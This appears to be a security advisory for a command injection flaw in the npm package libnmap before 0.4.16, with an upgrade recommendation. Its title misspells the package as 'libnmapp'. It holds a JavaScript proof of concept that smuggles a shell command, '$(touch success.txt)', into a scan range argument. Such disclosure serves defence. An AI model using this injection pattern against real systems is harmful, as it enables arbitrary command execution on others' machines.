A command injection vulnerability in libnmapp package for versions <0.4.16 allows arbitrary commands to be executed via arguments to the range options.

Affected: npm: libnmap

Versions of `libnmap` before 0.4.16 are vulnerable to command injection.

Proof of concept

```js const nmap = require('libnmap'); const opts = { range: [ 'scanme.nmap.org', "x.x.$(touch success.txt)" ] }; nmap.scan(opts, function(err, report) { if (err) throw new Error(err);

for (let item in report) { console.log(JSON.stringify(report[item])); } }); ```

## Recommendation

Update to version 0.4.16 or later